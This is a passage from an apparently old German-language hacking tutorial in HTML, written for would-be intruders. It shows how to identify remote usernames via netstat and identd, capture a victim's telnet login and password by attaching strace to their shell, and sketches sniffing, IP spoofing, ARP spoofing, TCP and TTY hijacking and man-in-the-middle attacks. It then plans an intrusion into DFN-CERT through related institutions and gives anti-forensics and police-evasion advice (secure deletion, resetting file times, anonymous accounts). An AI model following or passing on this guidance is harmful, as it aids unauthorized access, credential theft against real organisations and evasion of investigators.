- werden bist du immer noch nicht verloren. Wenn der User gerade eingeloggt
- ist, dann rufe das Programm <b>netstat</b> (dient unter anderem zum Debuggen
- von Netzwerkproblemen) auf.
- <pre>> netstat
- < Active Internet connections
- < Proto Recv-Q Send-Q Local Address Foreign Address (State)
- < User
- < victim
- < tcp 0 0 localhost:1032 host.account.edu:telnet ESTABLISHED
- < root
- < udp 0 0 localhost:3043 *:*
- < Active UNIX domain sockets
- < Proto RefCnt Flags Type State Path
- < unix 1 [ ACC ] SOCK_STREAM LISTENING /tmp/gpmctl
- < unix 2 [ ] SOCK_STREAM CONNECTED /dev/log
- < unix 2 [ ] SOCK_STREAM CONNECTED
- < unix 2 [ ACC ] SOCK_STREAM LISTENING /dev/printer
- < unix 2 [ ] SOCK_STREAM CONNECTED /dev/log
- < unix 2 [ ] SOCK_STREAM CONNECTED
- < unix 1 [ ACC ] SOCK_STREAM LISTENING /dev/log</pre>
- Die aktiven Unix Domain Sockets interessieren hier nicht; von Interesse
- ist nur...
- <pre>< Active Internet connections
- < Proto Recv-Q Send-Q Local Address Foreign Address (State)
- < User
- < victim
- < tcp 0 0 localhost:1032 host.account.edu:telnet ESTABLISHED</pre>
- ... hier kannst du sehen, dass der User "victim" eine Verbindung vom Port
- 1032 des lokalen Hosts zum Telnet-Port (23, siehe File <font color="#33FF33">/etc/services</font>)
- von "host.account.edu" (der Hostname wird bei Ueberlaenge abgeschnitten;
- du kannst dir mit der Option "-n" auch die IP-Adresse anzeigen lassen)
- aufgebaut hat. Jetzt weist du genug um ein kleines "Authentifikationsprogram"
- (<b>identd</b>) fuer deine Zwecke zu misbrauchen. Kurz was zur eigentlichen
- Verwendung von
- <table>
- <tr>
- <td><b>identd</b>: </td>
- <td><b>identd</b> wird von <b>V8 Sendmail</b> dazu benutzt um gefaelschte
- E-Mails zu entschaerfen, indem <b>sendmail identd</b> befragt welcher User
- gerade eine Verbindung zu ihm aufgebaut hat. (Das Format fuer <b>identd</b>:
- Server/Remote-Port, Client/Local-Port) </td>
- </tr>
- </table>
- Los geht's! Bau eine TCP Verbindung zum Port 113 (hier lauscht <b>identd</b>)
- von "host.account.edu" auf.
- <pre>> telnet host.account.edu 113
- < Trying 127.0.0.1...
- < Connected to host.account.edu.
- < Escape character is '^]'.
- > 23, 1032
- < 23 , 1032 : USERID : UNIX : hvictim
- > Connection closed by foreign host.</pre>
- Jupp, da is' es "hvictim".
- <p>Falls der Typ <b>rlogin</b> oder <b>rsh</b> benutzt, dann sieh' dir
- mal die Prozess-Liste an, <b>ps auw | grep victim</b> fuer BSD Derivate
- und <b>ps -ef | grep victim</b> fuer SysV (AT&T) Unix. Von Interesse
- fuer uns ist hier die '-l' Option der Befehle, damit gibt man den Usernamen
- auf dem Remote Host an (dasselbe gilt auch fuer <i>SecureShell</i> - <b>ssh</b>).
- Wenn du zwar die eben genannten Client-Programme in der Prozessliste siehst,
- aber die '-l' Option fehlt, dann sind die Usernamen auf beiden Rechnern
- gleich.
- <p>Desweiteren kannst du, wenn du den Source Code von <b>telnet</b> bzw.
- <b>telnetd</b>
- fuer das OS des lokalen Rechners hast, den Code so veraendern, dass die
- Account Informationen fuer ausgehende bzw. eingehende Verbindungen aufgezeichnet
- werden.
- <p>Die effektivste und auch einfachste Methode ist einen <i>Ethernet-Sniffer</i>
- zu installieren. Der Sniffer setzt die Netzkarte in den <i>Promiscuous
- Mode</i> und kann so alle Pakete, die sich in seiner Collision Domain befinden,
- aufzeichnen. Am Besten siehst du dir mal den Code und die Docu.s von 'nem
- Sniffer an und spielst etwas damit herum.
- <br>Das Sniffen funktioniert nicht bei <i>ATM</i>- und bei <i>10BaseT</i>/<i>100BaseT</i>-Netzen
- (mit intelligentem Switch - naja, aber auch hier gibt es Mittel und Wege
- *evilG*)... und bei <i>FDDI</i>- und <i>Tokenring</i>-Netzen geht's nur
- teilweise.
- <p>Die Methode mit dem Sniffer ist eine passive Attacke. Aktive Angriffe
- wie <i>(Blind-) IP Spoofing</i>, <i>TCP Hijacking</i>... sind etwas komplizierter
- und ich werde sie hier nur kurz erleutern.
- <br>
- <table BORDER >
- <tr>
- <th>Methode </th>
- <th>Beschreibung </th>
- </tr>
- <tr>
- <td>Blind IP-Spoofing </td>
- <td>Hierbei benutzt man eine falsche IP Source Adresse und versucht eine
- TCP Verbindung aufzubauen.
- <br>Es wird der 'Trusted Host' Mechanismus der BSD ´r´-Dienste
- (meistens <b>rlogind</b>) ausgenutzt, dieser 'Sicherheits'-Mechanismus
- erlaubt Zugriff anhand der IP Source Adresse, es wird kein Passwort benoetigt
- (sollte das Sniffen von Passwoertern verhindern).
- <br>Die grosse Kunst bei dieser Form der Attacke besteht darin die TCP
- Sequencenummer (s. RFC 793) richtig zu raten (da man die IP Src. gefaelscht
- hat bekommt man die TCP Seq# des entfernten Hosts nicht zu Gesicht; es
- sei denn, man benutzt die IP Src. Adresse eines Hosts, der sich in der
- selben Collision Domain befindet).
- <br>Bei alten Systemen ist das "Raten" relativ einfach (64K Rule) aber
- bei neuen Systemen ist es nahezu unmoeglich, da sie ihre TCP Seq# random
- (naja, haeufig ist der Algorithmus selten wirklich random, fuehrt hier
- aber mal wieder zu weit) erstellen. </td>
- </tr>
- <tr>
- <td>Non-Blind IP-Spoofing </td>
- <td>Der Vorteil dieser Attacke ist, dass man im Gegensatz zur 'blinden'
- Version die TCP Seq# und die Daten sieht. Ein wieterer Vorteil ist, dass
- mehrere Moeglichkeiten existieren.
- <ol>
- <li>
- IP Source Routing + Alias Interface</li>
- <br>Diese Methode is sehr einfach zu realisieren, es werden einfach alle
- Router, die das Packet passieren soll im IP Header als zusaetzliche Option
- angegeben...
- <br>Tja, aber das Dumme ist, dass der <b>rlogind </b>ueberprueft ob zusaetzliche
- Optionen im IP Header gesetzt sind, und wenn dem so ist, dann wird das
- Packet irgnoriert und eine Logmessage an <b>syslogd </b>uebergeben (jedenfalls
- wird es in der BSD Version gemacht und ich denke SysV macht es auch).
- <br>Zu allem Ueberfluss droppen mittlerweile die meisten Router IP Packets
- mit der Source-Routing Option.
- <li>
- Der gespoofte/zu attackierte Host befindet sich in der selben Collision
- Domain wie dein Host. Somit kannst du alle Packete sehen indem du deine
- Ethernetkarte in den Promisc. Mode schaltest (s. Sniffer).</li>
- <li>
- Du hast den ISP des Netzes gehackt, an dem der gespoofte/attackierte Host
- haengt. Es kann (generell) wie zuvor verfahren werden. </li>
- <li>
- Oder ARP Reply Spoofing ist sehr einfach und kompfortabel... </li>
- <br>Du erzaehltst dem zu hackenden Rechner einfach, dass die gespoofte
- IP zu deiner Hardware/Ethernet-Adresse gehoert, indem du das IP/HW-Paar
- mit Hilfe einer ARP Message in seinem ARP Cache eintragen laesst.
- <br>Ist leider mal wieder nur auf Collision Domains beschraenkt.
- <li>
- Die Route zwischen gepsooftem Host und attackiertem Host geht ueber 'deinen'
- Router.</li>
- <br>Das Schoenste ist natuerlich, wenn der Router eine Unix-Maschine ist
- auf der du root-Rechte besitzt und die Route per default ueber deinen Router
- laeuft. Naja, meistens ist es keine Unix-Maschine sondern ein Cisco, 3Com,
- Ascend, Livingston PM oder sonstwas und du must die Route erst ueber ´deinen´
- Router redirecten (spoofe EGP/RIP Messages, oder vielleicht (wenn 'dein'
- Netz und das zuattakierende Netz direkt am selben Backbone haengen) ICMP
- Redirect Messages) </ol>
- </td>
- </tr>
- <tr>
- <td>TCP Hijacking </td>
- <td>Hierbei geht es darum eine bestehende TCP-Verbindung zu uebernehmen
- .
- <br>Dabei ergibt sich das gleiche Problem wie beim Non-Blind IP-Spoofing:
- man muss irgendwie in die Route der beiden Rechner kommen um die TCP Seq#
- mitzulesen.
- <br>Wenn man die Verbindung uebernommen hat kann man z.B. Shell-Commands
- in den Datenstrom einfuehgen, die dann auf dem entfernten Host ausgefuehrt
- werden. </td>
- </tr>
- </table>
- <p>Bei den IP-Spoof Attacken, muss darauf geachtet werden, dass der Host,
- dessen IP Adresse man spooft, nicht auf die Pakete des gefoolten Hosts
- antworten kann (hierzu benutzt man eine <i>DoS (Denial-of-Service) Attacke</i>),
- denn die Antwort (der TCP Stack generiert ein TCP RST Packet, da er nichts
- mit den empfangenden Paketen anfangen kann) wuerde den TCP Stack des attackierten
- Rechners dazu bringen die TCP Connection sofort zu beenden... und wer will
- das schon?
- <p>Drei "Sniffer"-Techniken erlauben es sogar verschluesselte Verbindungen
- (z.B. mit <i>SSH</i>) im Klartext aufzuzeichnen (bzw. Daten einzugeben).
- Dabei handelt es sich um <i>TTY-Hijacking,</i> <i>Process
- </i>(bzw.
- <i>Systemcall</i>)
- <i>Tracing
- </i>und
- die <i>Man-in-the-Middle (MIM) Attack</i>. Die ersten beiden Verfahren
- setzen den root Zugriff auf einem der Endsysteme voraus.
- <p>Beim <i>TTY-Hijacking </i>gibt es die verschiedensten Arten.
- <ul>
- <li>
- Ein einfacher 'ioctl()'-Aufruf (siehe dazu den Source Code von<b> </b><a href="http://www.thc.org">Smeagol
- (s. thc-uht1.tgz)</a> ) erlaubt es zeichenweise Daten in den TTY-Stream
- einzugeben (aber nicht auszulesen).</li>
- <br>Das Schoene an dieser Methode ist, dass man nicht unbedingt root-Rechte
- benoetigt. SEHR alte Systeme checken die Zugriffserlaubnis fuer Specialfiles
- anhand der r/w/x-Perms des Filesystems und nicht mit Hilfe des Kernels.
- SunOS hat einen Bug, der es erlaubt selbst non-root Usern einen Filedescriptor
- fuer Specialfiles zu erhalten.
- <li>
- Man kann die Shell eines Users durch einen <i>PTY</i>-Wrapper ersetzen
- (<i>PTY</i> = Pseudo-Terminal-Type), dadurch kann man alle Ein- und Ausgaben
- mitlesen.</li>
- <li>
- Einfuehgen von <i>LKM</i>s (Loadable Kernelmodules) erlaubt das Mitschneiden
- von Ein-/Ausgaben und die Eingabe von eigenen Daten durch veraendern von
- STREAMS</li>
- <li>
- Durch das Verbiegen von Systemcalls (aehnlich dem Verbiegen von DOS Interrupts
- in der Intr-Vektortabelle, aber wesentlich einfacher) koennen Eingaben
- aufgezeichnet werden.</li>
- </ul>
- Ok, kommen wir zum Tracen von Systemcalls.
- <br>Es wird eigentlich benutzt um Programme zu debuggen. Man kann den Aufruf
- von Systemcalls (und Signals) incl. Parametern verfolgen. Das coole ist,
- dass viele Unix-Derivate ueber dieses Feature und den entsprechenden Tools
- verfuehgen.
- <br>Unter Linux heisst dieses Programm <b>strace</b> (SunOS: <b>trace</b>,
- Solaris: <b>truss</b>, IRIX: <b>par</b>).
- <p>Ok, als erstes muessen wir uns ein Opfer aussuchen, d.h. die Shell eines
- Users (oder natuerlich auch eine bereits bestehende Verbindung mit <b>telnet</b>,
- <b>rlogin,
- ssh</b>...). Dazu benutzen wir <b>ps</b>.
- <pre>> ps
- < PID TTY STAT TIME COMMAND
- < 69 v04 SW 0:00 (agetty)
- < 70 v05 SW 0:00 (agetty)
- < 257 v06 SW 0:00 (agetty)
- < 599 v02 S 0:00 -bash
- < 707 v03 S 0:00 -bash
- < 744 v02 R 0:00 ps</pre>
- So, wir nehmen uns mal die <b>bash</b> mit der PID 707 vor. Wir rufen <b>strace</b>
- mit der Option '-f' auf um auch die Child-Prozesse der <b>bash</b>, wie
- z.B. <b>telnet</b>, zutracen. Eine grosse Menge der Ausgaben von <b>strace</b>
- habe ich herausgeschnitten um die Lesbarkeit zu verbessern.
- <pre>> strace -f -p 707 2>&1 | egrep "read|recv|write|send|exec|socket|connect"
- < Process 707 attached - interrupt to quit
- < read(0, "t", 1) = 1
- < write(2, "t", 1) = 1
- < read(0, "e", 1) = 1
- < write(2, "e", 1) = 1
- < read(0, "l", 1) = 1
- < write(2, "l", 1) = 1
- < read(0, "n", 1) = 1
- < write(2, "n", 1) = 1
- < read(0, "e", 1) = 1
- < write(2, "e", 1) = 1
- < read(0, "t", 1) = 1
- < write(2, "t", 1) = 1
- < read(0, " ", 1) = 1
- < write(2, " ", 1) = 1
- < read(0, "d", 1) = 1
- < write(2, "d", 1) = 1
- < read(0, "o", 1) = 1
- < write(2, "o", 1) = 1
- < read(0, "o", 1) = 1
- < write(2, "o", 1) = 1
- < read(0, "\r", 1) = 1
- < write(2, "\n", 1) = 1</pre>
- Hier koennen wir sehen wie der User <b>telnet doo</b> aufruft. Mit ´read(..)´
- werden die Usereingaben gelesen und mit ´write(..)´ zum Terminal
- des Users geschrieben.
- <pre>< [pid 772]: execve("/bin/telnet", "telnet", "doo", env:["ignoreeof=10", [pid 772]:</pre>
- Hier sehen wir nochmal genauer welcher Child-Prozess aufgerufen wurde.
- <pre>< socket(PF_INET, STREAM, IPPROTO_IP) = 3
- < [pid 772]: connect(3, AF_INET(23, 10.0.0.1), 16) = 0</pre>
- Der Socket wird erzeugt und die Verbindung (IP Adresse und Port sind gut
- sichtbar) wird aufgebaut.
- <pre>< [pid 772]: write(1, "Connected to doo.the-haze.org.\n", 32) = 32
- < [pid 772]: write(1, "Escape character is '^]'.\n", 26) = 26</pre>
- Der uebliche telnet-Kram wird dem User angezeigt.
- <pre>< [pid 772]: recv(3, "\ff\fb\1\r\nLinux 1.1.59 (doo.the-haze".., 1024, 0) = 49
- < [pid 772]: write(1, "\r\nLinux 1.1.59 (doo.the-haze.or".., 46) = 46</pre>
- Das Welcome-Banner des Remote Hosts wird empfangen und an den User weitergegeben.
- <pre>< [pid 772]: recv(3, "\ff\f2\r\ndoo login: ", 1024, 0) = 15
- < [pid 772]: write(1, "\r\ndoo login: ", 13) = 13</pre>
- Die Login-Aufforderung.
- <pre>< [pid 772]: read(0, "t", 1024) = 1
- < [pid 772]: send(3, "t", 1, 0) = 1
- < [pid 772]: recv(3, "t", 1024, 0) = 1
- < [pid 772]: write(1, "t", 1) = 1</pre>
- Der ertse Buchstabe des Loginnamens wird eingelesen (´read(..)´),
- and den fernen Rechner gesendet (´send(..)´), das Echo empfangen
- (´recv(..)´) und zu dem User gegeben (´write(..)´).
- <pre>< [pid 772]: read(0, "i", 1024) = 1
- < [pid 772]: send(3, "i", 1, 0) = 1
- < [pid 772]: recv(3, "i", 1024, 0) = 1
- < [pid 772]: write(1, "i", 1) = 1
- < [pid 772]: read(0, "c", 1024) = 1
- < [pid 772]: send(3, "c", 1, 0) = 1
- < [pid 772]: recv(3, "c", 1024, 0) = 1
- < [pid 772]: write(1, "c", 1) = 1
- < [pid 772]: read(0, "k", 1024) = 1
- < [pid 772]: send(3, "k", 1, 0) = 1
- < [pid 772]: recv(3, "k", 1024, 0) = 1
- < [pid 772]: write(1, "k", 1) = 1
- < [pid 772]: read(0, "\r", 1024) = 1
- < [pid 772]: send(3, "\r\0", 2, 0) = 2</pre>
- Der Loginname ist "tick".
- <pre>< [pid 772]: recv(3, "\r\nPassword: ", 1024, 0) = 12
- < [pid 772]: write(1, "\r\nPassword: ", 12) = 12</pre>
- Der Passwort-Prompt.
- <pre>< [pid 772]: read(0, "T", 1024) = 1
- < [pid 772]: send(3, "T", 1, 0) = 1</pre>
- Zum Einlesen des Passwortes sind nur ´read(..)´ und ´send(..)´
- noetig, da es bei Unix Maschinen ueblich ist das Passwort verdeckt einzulesen.
- <pre>< [pid 772]: read(0, "E", 1024) = 1
- < [pid 772]: send(3, "E", 1, 0) = 1
- < [pid 772]: read(0, "S", 1024) = 1
- < [pid 772]: send(3, "S", 1, 0) = 1
- < [pid 772]: read(0, "T", 1024) = 1
- < [pid 772]: send(3, "T", 1, 0) = 1
- < [pid 772]: read(0, "S", 1024) = 1
- < [pid 772]: send(3, "S", 1, 0) = 1
- < [pid 772]: read(0, "T", 1024) = 1
- < [pid 772]: send(3, "T", 1, 0) = 1
- < [pid 772]: read(0, "R", 1024) = 1
- < [pid 772]: send(3, "R", 1, 0) = 1
- < [pid 772]: read(0, "A", 1024) = 1
- < [pid 772]: send(3, "A", 1, 0) = 1
- < [pid 772]: read(0, "C", 1024) = 1
- < [pid 772]: send(3, "C", 1, 0) = 1
- < [pid 772]: read(0, "E", 1024) = 1
- < [pid 772]: send(3, "E", 1, 0) = 1
- < [pid 772]: read(0, "\r", 1024) = 1
- < [pid 772]: send(3, "\r\0", 2, 0) = 2
- < [pid 772]: recv(3, "\r\0\r\n", 1024, 0) = 4
- < [pid 772]: write(1, "\r\r\n", 3) = 3</pre>
- Sein Passwort ist "TESTSTRACE".
- <pre>< [pid 772]: recv(3, "Last login: Mon Sep 22 15:58:52 ".., 1024, 0) = 48
- < [pid 772]: write(1, "Last login: Mon Sep 22 15:58:52 ".., 48) = 48</pre>
- Die Lastlogin-Message, das Einloggen war also erfolgreich. Was wollen wir
- mehr?
- <br>
- <p>Kommen wir nun zur <i>MIM Attack</i>.
- <br>Eine <i>MIM Attack</i> haengt stark von dem Protokol fuer den Schluesselaustausch,
- von der zugrundeliegenden Netzwerkarchitektur, vom Routing und so weiter
- ab.
- <br>Ich werde mal ein kleines Szenario darstellen bei dem ein asymmetrischer
- (Public-Key) Kryptoalgorithmus verwendet wird. Die technischen Feinheiten
- sollen uns hier mal nicht interessieren.
- <br>Nehmen wir an, dass sich ein BKA Beamter (Harald) mit einem BSI Angestellten
- (Jochen) ueber die neusten Entwicklungen von und in der <b><font color="#3366FF">THC</font></b>-Crew
- unterhalten will. ;)
- <br>Zur Kommunikation wird ein <b>talk</b>-Derivat verwendet, welches die
- Daten encrypted ueber ein Computernetzwerk sendet. Desweiteren ist es die
- erste Kommunikation, sodass sie erst noch ihre Public-Keys austauschen
- muessen.
- <br>Unser Angreifer (TICK) sitz irgendwo zwischen den beiden. Nein, nicht
- 'irgendwo'... er muss sich einen Platz aussuchen, den die Pakete auf jeden
- Fall passieren muessen (z.B. ein Router), oder er klinkt sich direkt ins
- Netzwerk ein, wenn er physikalischen Zugriff (z.B. bei einem Backbone Betreiber
- oder im lokalen Netz von Jochen oder Harald) hat, oder er manipuliert den
- <i>DNS
- Tree</i>, oder veraendert das Routing mit Hilfe von <i>RIP,</i> oder, oder,
- oder. Der Angreifer muss in der Lage sein Pakete abfangen, veraendern und
- weitersenden zu koennen; die original Pakete duerfen nicht den jeweiligen
- Kommunikationspartner erreichen.
- <br>So. Lasst das Spiel beginnen!
- <ul>
- <li>
- Jochen wartet auf die Verbindung von Harald</li>
- <li>
- Harald sendet seine Chat-Anfrage an Jochen</li>
- <li>
- die Software von Jochen und Harald etablieren jetzt die Verbindung</li>
- <li>
- TICK wird auf diese Aktion natuerlich aufmerksam</li>
- <li>
- wenn Harald seinen Public-Key an Jochen schickt, faengt TICK ihn ab und
- sendet stattdessen seinen eigenen Public-Key an Jochen und behauptet er
- kommt von Harald</li>
- <li>
- Jochen empfaengt TICK's Public-Key und denkt er kommt von Harald</li>
- <li>
- Jochen seinerseits sendet seinen Public-Key an Harald</li>
- <li>
- das gleiche Spiel: TICK tauscht Jochen's Key gegen seinen eigenen aus und
- sendet ihn an Harald</li>
- <li>
- Harald bemerkt nichts und beginnt mit der verschluesselten Kommunikation.
- Zur Verschluesselung benutzt er natuerlich TICK's Public-Key</li>
- <li>
- TICK empfaengt die Nachricht, dechiffriert sie mit seinem Secret-Key und
- erhaelt den Klartext (der natuerlich aufgezeichnet wird)</li>
- <li>
- TICK verschluesselt den Klartext mit dem Public-Key von Jochen, damit Jochen
- die Nachricht decrypten kann und sendet den Ciphertext an Jochen</li>
- <li>
- Jochen empfaengt die Nachricht und dechiffriert sie mit seinem Secret-Key</li>
- <li>
- Jochen antwortet auf Harald's Nachricht</li>
- <li>
- das Spiel geht von Vorne los, nur das in umgekehrter Richtung natuerlich
- Harald's Public-Key verwendet werden muss</li>
- <li>
- TICK lacht sich ins Faeustchen ;)</li>
- </ul>
- TICK ist es in seiner Position nicht nur moeglich die Daten im Klartext
- zu lesen, sondern er kann auch Daten einfuehgen und loeschen. Er koennte
- sich z. Bsp. als Harald ausgeben und Jochen diverse Fragen stellen um ihm
- so geheime Informationen aus der Nase zu ziehen und die Antworten loeschen,
- damit sie Harald nie zu Gesicht bekommt.
- <br><i>MIM Attacken </i>koennen durch Signaturen fuer die Public-Keys (z.B.
- eines <i>KDC</i>s) oder durch das <i>INTERLOCK-Protokol </i>erschwert/verhindert
- werden... aber da es sich hier nicht um ein Security-Paper handelt, werde
- ich nicht naeher darauf eingehen. ;)
- <p>Ich moechte noch kurz auf eine andere Art von Attacke eingehen, die
- z.B. bei <i>SecureShell </i>funktioniert.
- <br>Undzwar wenn der Public-Key einer Client-Server Verbindung bekannt
- ist, dann kann ein Angreifer mit diesem Key eigene Pakete verschluesseln
- und in den Stream einfuehgen. Somit ist es z.B. moeglich Befehle an eine
- Shell zu schicken.
- <p>Nungut, um ehrlich zu sein werden die meisten Hacks mit Hilfe von Remote-Exploits
- und Sniffern gemacht.
- <p>Abundzu solltest du auch 'n paar Hacker-Mags lesen... leider sind die
- meisten echter Schrott, was ich dir empfehlen koennte ist <a href="http://www.phrack.com">Phrack</a>
- , <a href="http://thc.inferno.tusculum.edu">THC-Mag</a> ... naja,
- und vielleicht noch das TFC- oder CRH-Mag.
- <p>Ach ja, es gibt da noch eine Methode... haette's fast vergessen. Ich
- nenne sie "Verwundbarkeit aufgrund von Beziehungen"... naja. Ok, nehmen
- wir mal an, du willst das DFN-CERT hacken, kommst aber nicht rein weil
- die ihre Rechner natuerlich gut gesichert haben. Nun musst du ein paar
- Ueberlegungen ueber die Beziehungen des CERT zu anderen Domains machen.
- Hier ein Bsp. ('-' Ueberlegung und '->' Folgerung):
- <pre>- das CERT hat eine Subdomain im Netz des DFNs (Deutsches Forschungs Netz)
- -> Bez. zu grossen Forschungseinrichtungen wei z.B. das DESY, die
- Frauenhofer Gesellschaft, der GMD et cetera
- Sniffer installieren und/oder gecrackte Accounts beim DFN testen.
- - das DFN-CERT liegt in Hamburg
- -> Somit besteht eine Beziehung zur Uni/FH Hamburg
- d.h. wenn du die Uni/FH Hamburg hackst kannst du einen Sniffer
- auf die DFN(-CERT)-Domain ansetzen
- (und um ehrlich zu sein wird das DFN-CERT auch von Prof.s der
- Uni-HH geleitet (z.B.: Wolfgang Ley))
- -> Das DESY ist ebenfalls in HH!
- Hiermit besteht schon eine doppelte Bez. zum DESY... also es lohnt
- sich hier mal vorbei zu sehen. ;)
- - und noch ein paar Kleinigkeiten mehr...</pre>
- Bei Firmen sind Joint-Ventures noch interessant.
- <br>
- <p><a NAME="a5"></a>
- <h3>
- <font color="#990099">Wie rette ich meinen Arsch?</font></h3>
- <center><img SRC="pic2.gif" ></center>
- <p>Zu diesem Thema werde ich nicht viel sagen, ausser, dass du <a href="htcyt.html">How
- to cover your tracks</a> und <a href="http://www.thc.org">Anonymous
- Unix</a> von van Hauser/THC lesen solltest. Ich kann nur noch hinzufuegen:
- <ul>
- <li>
- Unterschaetze niemals die Admins und die Bullen.</li>
- <li>
- Wenn du nicht wirklich gut bist, dann lass' die Finger vom CERT, Firewalls
- etc... du bekommst nur Aerger.</li>
- <li>
- Informiere dich ueber die Gesetze deines Landes (wenn du in Dtld. wohnst,
- dann wirf mal einen Blick in's <a href="http://www.thc.org">THC-Mag
- 4</a> )!</li>
- <li>
- Bereite dich psychisch und technisch auf eine Hausdurchsuchung vor. Wenn
- die Bullen vor der Tuer stehen und du verlierst die Nerven, dann wirst
- du viele Fehler machen, die nicht haetten sein muessen.</li>
- <li>
- Zerstoere nichts und klaue keine Firmengeheimnisse (es sei denn sie sind
- fuer Hacker interessant).</li>
- <li>
- Loesche alle Komponenten deiner Hacking-Tools und Exploits mit <b>srm</b>
- o.ae., damit man sie nicht durch rohes Auslesen der HD rekonstruieren kann.</li>
- <li>
- Stichwort e-Forensic: Auch bei dir wird im Laufe der Zeit die Routine eintreten
- und du gewoehnst dir an, bestimmte Befehle/Files/Exploits immer in der
- selben Reihenfolge zu benutzen und damit hinterlaesst du einen subtilen
- aber existenten "Fingerabdruck". Aus diesem Grund empfehle ich dir dringend
- die a-/mtime Time der benutzten Files zu veraendern - am Besten natuerlich
- nicht zu veraendern, also die alte Zeit zu setzen.</li>
- <li>
- Dasselbe gilt auch fuer die Homedirec.s der Accounts, die du benutzt hast.
- Ein <b>ls -ald /home/*</b> ist genauso effektiv wie der Aufruf von <b>last</b>.</li>
- <li>
- Du solltest dir ein Programm schreiben (oder benutze <b>indent</b>), das
- das Format deiner Source Codes voellig aufhebt, sodass z.B. dein Source
- Code nur aus einer langen Zeile besteht. Es existieren naemlich mehrere
- Security Papers, die sich damit beschaeftigen den Autor eines Programs
- anhand seines Programmierstils zu erkennen (wurde auch beim <i>Internet
- Worm</i> von Robert T. Morris angewandt; so konnte festgestellt werden,
- dass der Bufferoverflow Exploit fuer <b>fingerd</b> nicht urspruenglich
- von Morris stammt). Desweiteren solltest du keine extravaganten Bezeichnungen
- bei der Benennung deiner Funktionen und Variablen waehlen. Das nuetzt natuerlich
- alles nichts, wenn du deinen Handle in den Quellcode schreibst. ;)</li>
- </ul>
- <a NAME="a6"></a>
- <h3>
- <font color="#990099">Ein paar Gedanken zum Sein eines Hackers</font></h3>
- <center><img SRC="pic3.gif" ></center>
- <p>Naja, das Bild ist mir etwas zu schwarz-weiss (und das hat nichts mit
- der Farbe zu tun).
- <br>In meinen Augen vereinigt ein Hacker beide "Personen" (No Risk No Fun).
- <p>Ein paar Regeln solltest du immer im Hinterkopf behalten:
- <ul>
- <li>
- Zerstoere keine Rechner/Netze</li>
- <li>
- keine Erpressung</li>
- <li>
- keine Industriespionage</li>
- <li>
- hack nicht einfach wie wild 1000 Rechner nur weil es einfach ist, nimm
- mal 'n paar Herausforderungen an</li>
- <li>
- und noch 'ne Menge anderer Kram der gegen die Ehtik eines Hackers verstoesst,
- mir jetzt aber nicht einfaellt...</li>
- </ul>
- <a NAME="a7"></a>
- <h3>
- <font color="#990099">Yeah, time to become 31337.</font></h3>
- Ok, irgendwann wird das alles langweilig und/oder die Domain, in die du
- unbedingt hinein willst ist dicht wie 'n Bunker.
- <br>Jetzt wird es Zeit seine eigenen Tools und Remote-Exploits zu entwickeln.
- <p>Dazu ist folgendes noetig:
- <ol>
- <li>
- natuerlich solltest du fit im Programmieren unter Unix sein (C, C++, Perl,
- Shell-Spachen).</li>
- <li>
- du solltest die Exploits (von Bugtraq etc) genau studieren und einen Ueberblick
- und ein Verstaendnis fuer die Sicherheit von Programmen bekommen</li>
- <br>das 'Nach-programmieren' von Exploits uebt ungemein ;)
- <li>
- der Umgang mit Tools wie <b>strace</b>,<b> ltrace</b>, <b>gdb</b>, <b>purify</b>
- & Co. sollte dir vertraut sein, damit du auch ohne Source Code Bugs
- in Programmen eruieren kannst</li>
- <li>
- besorge dir diverse Docs ueber das sichere Programmieren von Unix-Software
- <a href="http://www.sun.com/sunworldonline/swol-04-1998/swol-04-unixsecurity.html">http://www.sun.com/sunworldonline/swol-04-1998/swol-04-unixsecurity.html
- </a><a href="http://www.sun.com/sunworldonline/swol-04-1998/swol-04-security.html">http://www.sun.com/sunworldonline/swol-04-1998/swol-04-security.html
- </a><a href="http://www.homeport.org/~adam/review.html">http://www.homeport.org/~adam/review.html
- </a><a href="http://olympus.cs.ucdavis.edu/~bishop/secprog.html">http://olympus.cs.ucdavis.edu/~bishop/secprog.html
- </a><a href="http://www.research.att.com/~smb/talks/odds.[ps|pdf]">http://www.research.att.com/~smb/talks/odds.[ps|pdf]
- </a><a href="http://www.pobox.com/~kragen/security-holes.txt">http://www.pobox.com/~kragen/security-holes.txt</a></li>
- <li>
- und vergiss nicht, so viel Source Codes wie moeglich von den verschiedenen
- Unix-Derivaten zu bekommen, die du gehackt hast</li>
- <br>wenn du Glueck hast ist noch die Installations-CD im CD-Rom (ich hoffe
- mit Sources) ;)
- <br>ja, und weil kopieren einfacher ist als selber schreiben, solltest
- du bedenken, das Programme, die unter z.B. Linux 'nen Bug haben hoechstwahrscheinlich
- auch unter *BSD buggy sind (ok, mit 99,9%iger Ausnahme von OpenBSD)...
- <br>und solltest du mal kein Exploit von 'nem bereits gefixten Bug haben,
- dann besorge dir das Patch und versuche anhand dessen dein Exploit zu coden
- (es ist zwar bloed, dass es schon bekannt ist, aber die meisten Admins
- haben mehr Probleme damit ihr Netz am Laufen zu halten als die Bugs in
- irgendwelchen Programmen zu patchen)</ol>
- Du solltest niemanden die Moeglichkeit geben ein Profil von dir anzufertigen,
- dazu ist folgendes zu beachten
- <ol>
- <li>
- Halte nur zu <b>sehr</b> gut befreundeten Hackern kontakt.</li>
- <br>Wenn du mit ihnen Emails austauscht, dann sollten sie natuerlich mit
- PGP encrypted sein, zu einem anonymen Account gehen (benutze keinen gehackten
- Account, besser <a href="http://www.hotmail.com">www.hotmail.com</a>,
- <a href="http://www.yahoo.com">www.yahoo.com</a>,
- <a href="http://www.gmx.net">www.gmx.net</a>
- (mit POP!!!)... - der Rechner sollte natuerlich im Ausland stehen, die
- Ermittlungsbehoerden schrecken haeufig vor dem Papierkrieg zurueck, sind
- auch nur Menschen) unter Verwendung eines speziellen Handles, den du fuer
- nichts anderes verwendest.
- <br>Du solltest den Handle/Account unregelmaessig aendern und natuerlich
- auch ein neues PGP seckey-pubkey Paar erstellen (auch die Passphrase aendern!).
- <br>Achte darauf, dass dein PGP Key mit mindestens 2048 bit Schluessellaenge
- generiert wird, ausserdem solltest du aus Sicherheitsgruenden nicht die
- 5.x Version benutzen, sondern bei die alten 2.6.x Version!!!
- <li>
- Wenn du dich unbedingt auf den einschlaegigen IRC Channels rumtreiben willst,
- dann aendere immer deinen Nick und wechsel auch deinen Host (da viele Rechner
- im Internet keine <b>irc</b>-Clients installiert haben, solltest du Relays
- benutzen (oder auch IP Source Routing und IP Spoofing, probier´s
- aus)).</li>
- <br>Ich weiss, dass das aendern des Nicks nicht so schoen ist, weil man
- dadurch keine Reputation bei der breiten Masse bekommt; aber Reputation
